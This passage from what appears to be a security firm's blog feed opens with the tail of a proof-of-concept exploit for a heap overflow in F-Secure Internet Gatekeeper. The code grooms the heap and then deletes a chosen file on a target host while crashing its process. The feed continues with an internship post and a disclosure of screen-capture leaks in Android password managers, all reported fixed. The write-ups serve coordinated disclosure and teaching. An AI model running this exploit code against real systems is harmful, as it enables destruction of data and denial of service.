        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# Needed to bypass checks
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# Needed to bypass checks
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xdda0077d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;# Points to where the filename will be in memory
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x300&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;send_payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content_len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x80000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nofun&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;cut_conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Heap massage done&quot;&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Usage: ./{} &amp;lt;victim_ip&amp;gt; &amp;lt;file_to_remove&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Run `export PWNLIB_SILENT=1` for disabling verbose connections&quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;massage_heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;trigger_exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Exploit finished. {} is now removed and remote process should be crashed&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Current exploit reliability is around 60-70% of the total attempts, and our exploit PoC relies on the specific machine as listed in the prerequisites.&lt;/p&gt;

&lt;p&gt;Gaining RCE should definitely be possible as we can control the exact chunk size and overwrite as much data as we’d like on small chunks. Furthermore, the application uses multiple threads which can be leveraged to get into clean heap arenas and attempt exploitation multiple times. If you’re interested in working with us, email your RCE PoC to &lt;a href=&quot;info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; ;)&lt;/p&gt;

&lt;p&gt;This critical issue was tracked as &lt;a href=&quot;https://www.f-secure.com/en/business/support-and-downloads/security-advisories/fsc-2019-3&quot;&gt;FSC-2019-3&lt;/a&gt; and fixed in F-Secure Internet Gatekeeper versions 5.40 – 5.50 hotfix 8 (2019-07-11). We would like to thank &lt;a href=&quot;https://www.f-secure.com/&quot;&gt;F-Secure&lt;/a&gt; for their cooperation.&lt;/p&gt;

&lt;h2 id=&quot;resources-for-learning-about-heap-exploitation&quot;&gt;Resources for learning about heap exploitation&lt;/h2&gt;

&lt;h4 id=&quot;exploit-walkthroughs&quot;&gt;Exploit walkthroughs&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-1/&quot;&gt;Linux Heap Exploitation Intro Series: Set you free() – part 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/&quot;&gt;Linux Heap Exploitation Intro Series: Set you free() – part 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;glibc-walkthroughs&quot;&gt;GLibC walkthroughs&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=z33CYcMf2ug&quot;&gt;GLibC Malloc for Exploiters - YouTube&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/&quot;&gt;Understanding the GLibC Implementation - Part 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/&quot;&gt;Understanding the GLibC Implementation - Part 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;tools&quot;&gt;Tools&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GEF&lt;/a&gt; - Add-on for GDB to assist exploitation. Also, it has some useful commands for heap exploits debugging&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/wapiflapi/villoc&quot;&gt;Villoc&lt;/a&gt; - Visual representation of the heap in HTML&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Internship at Doyensec</title>
   <link href="https://blog.doyensec.com/2019/11/05/internship-at-doyensec.html"/>
   <updated>2019-11-05T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2019/11/05/internship-at-doyensec</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“Our moral responsibility is not to stop the future, but to shape it…”&lt;/em&gt;
— Alvin Toffler&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At Doyensec, we feel responsible for what the future of information security will look like. We want a safe and open Internet and we believe that &lt;em&gt;hackers&lt;/em&gt; play an important role. As a part of our give back strategy, we want to find ways of transferring our knowledge to new generations.&lt;/p&gt;

&lt;p&gt;Doyensec interns work alongside experienced security researchers during live customer engagements. They receive full time support from senior staff members and are encouraged to explore individual research projects. Additionally, they are included in all team meetings so they can learn and share in the different experiences arising from our work. In short, we want to provide a comprehensive experience on what it means to be a first-class security consultant in the vulnerability research space.&lt;/p&gt;

&lt;p&gt;The internship program @Doyensec represents an opportunity to learn new infosec skills. We also hope it becomes a memorable personal experience. It lasts 2-3 months and is a mix of remote and in-person interactions.&lt;/p&gt;

&lt;h3 id=&quot;we-offer-each-candidate-a-transparent-recruitment-process-in-3-simple-steps&quot;&gt;We offer each candidate a transparent recruitment process in 3 simple steps:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;1) Introductory call to understand one’s motivation for applying and their availability over the upcoming months&lt;/li&gt;
  &lt;li&gt;2) Online challenges to evaluate technical skillset (web security testing)&lt;/li&gt;
  &lt;li&gt;3) Final call to discuss details&lt;/li&gt;
&lt;/ul&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/intern.jpeg&quot; title=&quot;Doyensec internship process&quot; alt=&quot;Doyensec internship process&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;day-1&quot;&gt;Day 1&lt;/h3&gt;

&lt;p&gt;Day one is important. Interns will be responsible for setting up their Doyensec provided machine and will be introduced to the team. They will be assigned to a senior security researcher who will be at their disposal and act as mentor throughout the entire internship. They will learn how we schedule projects, communicate, and cooperate to ensure complete coverage during our testing activities. We will provide them with all necessary equipment to perform the work. Most importantly, they will learn about our values and things that we consider crucial for delivering high quality work.&lt;/p&gt;

&lt;h3 id=&quot;time-allocation&quot;&gt;Time allocation&lt;/h3&gt;

&lt;p&gt;While the internship is considered full time over the course of 2/3 months, we did have interns who were still studying and wanted to combine both work and school. We take pride in having a flexible company culture oriented around results and our approach to the internship is no different.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“For knowledge work, time spent has little to do with value created and the forty hour workweek is anachronistic nonsense.”&lt;/em&gt; — Naval Ravikant @naval&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Work days are generally grouped into two categories:&lt;/p&gt;

&lt;p&gt;a) &lt;strong&gt;Customer projects&lt;/strong&gt;. Interns work on real-life projects. Whenever possible, we will try to match personal interest and skillset with tasks when allocating projects.&lt;/p&gt;

&lt;p&gt;b) &lt;strong&gt;Research time&lt;/strong&gt;. We strongly &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;believe in research&lt;/a&gt; and practice, therefore we allow interns to spend 50% of their time on &lt;em&gt;research&lt;/em&gt; topics. We will define goals together and provide guidance and feedback on the progress.&lt;/p&gt;

&lt;h3 id=&quot;testimonial&quot;&gt;Testimonial&lt;/h3&gt;

&lt;p&gt;Mohamed Ouad is a student of computer science at the University of Milan. In the fall of 2018 he joined Doyensec as our second intern. We asked him a few questions to summarize his experience:&lt;/p&gt;

&lt;p&gt;What did you learn during your internship?&lt;br /&gt;
&lt;em&gt;“During this period I had the possibility to learn a lot of things, and not just technical stuff. For instance, I understood how to explain findings to non-technical audience and manage projects with strict deadlines.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Have you improved your skillset?&lt;br /&gt;
&lt;em&gt;“Definitely! I improved my knowledge of Android security and got interested in Google Chrome extensions security, static code review and Electron-based apps security.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Will the internship have an impact on your career?&lt;br /&gt;
&lt;em&gt;“This experience has given me a huge added value to my career path. I’ve not only learned a lot, but also created an important item in my curriculum that will be certainly useful for future opportunities. I suggest this “adventure” to everyone!”&lt;/em&gt;&lt;/p&gt;

&lt;h4 id=&quot;more-information-on-our-internship-program&quot;&gt;More information on our internship program&lt;/h4&gt;

&lt;p&gt;The Doyensec internship program is open to students returning to full-time education for at least one semester. We accept candidates with residency in either US or Europe.&lt;/p&gt;

&lt;p&gt;What do we offer:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Opportunity to perform professional security testing for both start ups and Fortune 500 companies&lt;/li&gt;
  &lt;li&gt;Ability to perform cutting-edge offensive research projects&lt;/li&gt;
  &lt;li&gt;Feedback and guidance&lt;/li&gt;
  &lt;li&gt;Attractive financial compensation&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;what-do-we-expect-from-candidates&quot;&gt;What do we expect from candidates?&lt;/h4&gt;

&lt;p&gt;Our perfect candidate:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Has already some experience with manual source code review and Burp Suite / OWASP ZAP&lt;/li&gt;
  &lt;li&gt;Learns quickly&lt;/li&gt;
  &lt;li&gt;Should be able to prepare reports in English&lt;/li&gt;
  &lt;li&gt;Is self-organized&lt;/li&gt;
  &lt;li&gt;Is able to learn from his/her mistakes&lt;/li&gt;
  &lt;li&gt;Has motivation to work/study and show initiative&lt;/li&gt;
  &lt;li&gt;Must be communicative (without this it is difficult to teach effectively)&lt;/li&gt;
  &lt;li&gt;Brings something to the mix (e.g. creativity, academic knowledge, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In contrast to full-time positions (&lt;em&gt;we are always hiring web and mobile pentesters!&lt;/em&gt;), a good attitude is the most important factor we are looking for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do you want to join Doyensec as an intern?&lt;/strong&gt;
Apply via &lt;a href=&quot;https://www.careers-page.com/doyensec-llc&quot;&gt;our careers portal&lt;/a&gt;!&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>One Bug To Rule Them All: Modern Android Password Managers and FLAG_SECURE Misuse</title>
   <link href="https://blog.doyensec.com/2019/08/22/modern-password-managers-flag-secure.html"/>
   <updated>2019-08-22T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/08/22/modern-password-managers-flag-secure</id>
   <content type="html">&lt;p&gt;A few months ago I stumbled upon a 2016 &lt;a href=&quot;https://commonsware.com/blog/2016/06/06/psa-flag-secure-window-leaks.html&quot;&gt;blog post&lt;/a&gt; by Mark Murphy, warning about the state of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_SECURE&lt;/code&gt; window leaks in Android. This class of vulnerabilities has been around for a while, hence I wasn’t confident that I could still leverage the same weakness in modern Android applications. As it often turns out, I was being too optimistic. After a brief survey, I discovered that the issue still persists today in many password manager applications (and others).&lt;/p&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The problem&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.android.com/reference/android/view/WindowManager.LayoutParams.html#FLAG_SECURE&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_SECURE&lt;/code&gt;&lt;/a&gt; setting was initially introduced as an additional setting to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WindowManager.LayoutParams&lt;/code&gt; to prevent DRM-protected content from appearing in screenshots, video screencaps or from being viewed on “&lt;a href=&quot;https://developer.android.com/reference/android/view/Display.html#FLAG_SECURE&quot;&gt;non-secure displays&lt;/a&gt;”.&lt;/p&gt;

&lt;p&gt;This last term was created to distinguish between &lt;a href=&quot;https://developer.android.com/reference/android/media/projection/MediaProjection#createVirtualDisplay(java.lang.String,%2520int,%2520int,%2520int,%2520int,%2520android.view.Surface,%2520android.hardware.display.VirtualDisplay.Callback,%2520android.os.Handler)&quot;&gt;virtual screens&lt;/a&gt; created by the &lt;a href=&quot;https://developer.android.com/reference/android/media/projection/MediaProjection&quot;&gt;MediaProjection API&lt;/a&gt; (a native API to capture screen contents) and physical display devices like TV screens (having a DRM-secure video output). In this way Google forestalled the piracy apps issue by preventing unsigned apps from creating virtual “secure” displays, only allowing casting to physical “secure” devices.&lt;br /&gt;
While &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_SECURE&lt;/code&gt; nowadays serves its original purpose well &lt;em&gt;(to the delight of e.g. Netflix, Google Play Movies, Youtube Red)&lt;/em&gt;, &lt;strong&gt;developers during the years mistook this “secure” flag as an easy catch-all security feature&lt;/strong&gt; provided by Android to mark the entire app from being excepted from a screen capture or recording.&lt;/p&gt;

&lt;p&gt;Unfortunately, &lt;strong&gt;this functionality is not global for the entire app&lt;/strong&gt;, but can only be set on specific screens that contain sensitive data. To make matters worse, every Android fragment used in the application will not respect the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_SECURE&lt;/code&gt; set for the activity and won’t pass down the flag to any other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Window&lt;/code&gt; instances created on behalf of that activity. As a consequence of this, several native UI components like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Spinner&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Toast&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dialog&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PopupWindow&lt;/code&gt; and many others will still leak their content to third party applications having the right permissions.&lt;/p&gt;

&lt;h2 id=&quot;the-approach&quot;&gt;The approach&lt;/h2&gt;
&lt;p&gt;After a short survey, I decided to investigate a category of apps in which a content leak would have had the biggest impact: mobile password managers. This would also be the category of applications a generic attacker would probably choose to target first, along with banking apps.&lt;br /&gt;
With this in mind, I fired up a screen capture application (&lt;a href=&quot;https://github.com/afollestad/mnml&quot;&gt;mnml&lt;/a&gt;) and started poking around.
After a few days of testing, &lt;strong&gt;every Android password manager examined (4) was found to be vulnerable to some extent&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The following sections provide a summary of the discovered issues. All vulnerabilities were disclosed to the vendors throughout the second week of May 2019.&lt;/p&gt;

&lt;h3 id=&quot;1password&quot;&gt;1Password&lt;/h3&gt;
&lt;p&gt;In &lt;a href=&quot;https://1password.com/&quot;&gt;1Password&lt;/a&gt;, the Account Settings’ section offers a way to manage 1Password accounts. One of the functionalities is “Large Type”, which allows showing an account’s Secret Key in a large, easy-to-read format. The fragment showing the Secret Key leaks the generated password to third-party applications installed on the victim’s device.
The Secret Key is combined with the user’s Master Password to create the full encryption key used to encrypt the accounts data, &lt;a href=&quot;https://support.1password.com/secret-key-security/#how-your-secret-key-protects-you&quot;&gt;protecting them on the server side&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/1password-leak.jpg&quot; width=&quot;250&quot; title=&quot;1Password Secret Key Leak Vulnerability&quot; alt=&quot;1Password Secret Key Leak Vulnerability&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This was fixed in 1Password for Android in version &lt;a href=&quot;https://app-updates.agilebits.com/product_history/OPA4#v7010505&quot;&gt;7.1.5&lt;/a&gt;, which was released on May 29, 2019.&lt;/p&gt;

&lt;h3 id=&quot;keeper&quot;&gt;Keeper&lt;/h3&gt;
&lt;p&gt;When a user taps the password field, &lt;a href=&quot;https://keepersecurity.com/&quot;&gt;Keeper&lt;/a&gt; shows a “Copied to Clipboard” toast. But if the user shows the cleartext password with the “Eye” icon, the toast will also contain the secret cleartext password. This fragment showing the copied password leaks the password to third-party applications.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/keeper-leak-1.jpg&quot; width=&quot;250&quot; style=&quot;padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; title=&quot;Keeper Password Leak Vulnerability (without FLAG_SECURE set)&quot; alt=&quot;Keeper Password Leak Vulnerability (without FLAG_SECURE set)&quot; align=&quot;center&quot; /&gt;
	&lt;img src=&quot;../../../public/images/keeper-leak-2.jpg&quot; width=&quot;250&quot; style=&quot;padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; title=&quot;Keeper Password Leak Vulnerability (with FLAG_SECURE set)&quot; alt=&quot;Keeper Password Leak Vulnerability (with FLAG_SECURE set)&quot; align=&quot;center&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This was fixed in Keeper for Android version 14.3.0, which was released on June 21, 2019. &lt;a href=&quot;https://docs.keeper.io/release-notes/mobile-platforms/android/android-version-14.3.0&quot;&gt;An official advisory was also issued&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;dashlane&quot;&gt;Dashlane&lt;/h3&gt;
&lt;p&gt;Dashlane features a random password generation functionality, usable when an account entry is inserted or edited. Unfortunately, the window responsible for choosing the parameter for the “safe” passwords is visible by third parties applications on the victim’s device.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/dashlane-leak-1.jpg&quot; width=&quot;250&quot; style=&quot;border-radius: 10px; display: block; margin-left: auto; margin-right: auto;&quot; title=&quot;Dashlane Password Leak Vulnerability&quot; alt=&quot;Dashlane Password Leak Vulnerability&quot; align=&quot;center&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Note that it is also possible for an attacker to infer the service associated with the leaked password, since the services list and autocomplete fragment is also missing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLAG_SECURE&lt;/code&gt; flag, resulting in its leak.&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/dashlane-leak-2.jpg&quot; style=&quot;padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; width=&quot;250&quot; alt=&quot;Dashlane Leak Vulnerability&quot; align=&quot;center&quot; /&gt;
	&lt;img src=&quot;../../../public/images/dashlane-leak-3.jpg&quot; style=&quot;padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; width=&quot;250&quot; alt=&quot;Dashlane Leak Vulnerability&quot; align=&quot;center&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;The issue was fixed in Dashlane for Android in version &lt;a href=&quot;https://support.dashlane.com/hc/en-us/articles/206553939-Release-notes#title2&quot;&gt;6.1929.2&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-attack-scenario&quot;&gt;The attack scenario&lt;/h2&gt;

&lt;p&gt;Several scenarios would result in an app being installed on a user’s phone recording their activity. These include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Malicious casting apps requiring record permission, since users usually don’t know that casting apps can also record their screen;&lt;/li&gt;
  &lt;li&gt;Innocuous-looking apps using &lt;a href=&quot;http://cloak-and-dagger.org/&quot;&gt;Cloak &amp;amp; Dagger&lt;/a&gt; attacks;&lt;/li&gt;
  &lt;li&gt;Malicious app installed through third-party Android app stores or &lt;a href=&quot;https://www.blackhat.com/docs/us-17/thursday/us-17-Anderson-Bot-Vs-Bot-Evading-Machine-Learning-Malware-Detection-wp.pdf&quot;&gt;bypassing&lt;/a&gt; &lt;a href=&quot;https://security.googleblog.com/2018/03/android-security-2017-year-in-review.html&quot;&gt;&lt;span title=&quot;Potentially Harmful Applications&quot;&gt;PHA&lt;/span&gt; detection filters&lt;/a&gt; of the Play Store;&lt;/li&gt;
  &lt;li&gt;Malicious app pushed to the smartphone using the Play Store feature in a &lt;a href=&quot;http://fc16.ifca.ai/preproceedings/24_Konoth.pdf&quot;&gt;Man-in-the-Browser&lt;/a&gt; attack scenario;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If these scenarios seem unlikely to happen in real life, it is worth noting that there have been &lt;a href=&quot;https://elleenpan.com/files/panoptispy.pdf&quot;&gt;several&lt;/a&gt; &lt;a href=&quot;https://www.zdnet.com/article/android-security-password-stealing-trojan-malware-sneaks-in-google-play-store-in-bogus-apps/&quot;&gt;instances&lt;/a&gt; of apps abusing this class of attacks in the recent past.&lt;/p&gt;

&lt;p&gt;Many thanks to the &lt;em&gt;1Password&lt;/em&gt;, &lt;em&gt;Keeper&lt;/em&gt;, and &lt;em&gt;Dashlane&lt;/em&gt; security teams that handled the report in a professional way, issued a payout, and allowed the disclosure. &lt;strong&gt;Please remember that using a password manager is still the best choice these days to protect your digital accounts and that all the above issues are now fixed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;As always, this research was possible thanks to my &lt;a href=&quot;https://doyensec.com/careers.html&quot;&gt;25% research time&lt;/a&gt; at Doyensec!&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Lessons in auditing cryptocurrency wallets, systems, and infrastructures</title>
   <link href="https://blog.doyensec.com/2019/08/01/common-crypto-bugs.html"/>
   <updated>2019-08-01T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/08/01/common-crypto-bugs</id>
   <content type="html">&lt;p&gt;In the past three years, Doyensec has been providing security testing services for some of the global brands in the cryptocurrency world. We have audited desktop and mobile wallets, exchanges web interfaces, custody systems, and backbone infrastructure components.&lt;/p&gt;

&lt;p&gt;We have seen many things done right, but also discovered many design and implementation vulnerabilities. Failure is a great lesson in security and can always be turned into positive teaching for the future. Learning from past mistakes is the key to create better systems.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/doyensec_cryptosec.jpg&quot; alt=&quot;Vulnerability Impact&quot; align=&quot;center&quot; width=&quot;700&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this article, we will guide you through a selection of four simple (yet dangerous!) application vulnerabilities.&lt;/p&gt;

&lt;blockquote&gt;
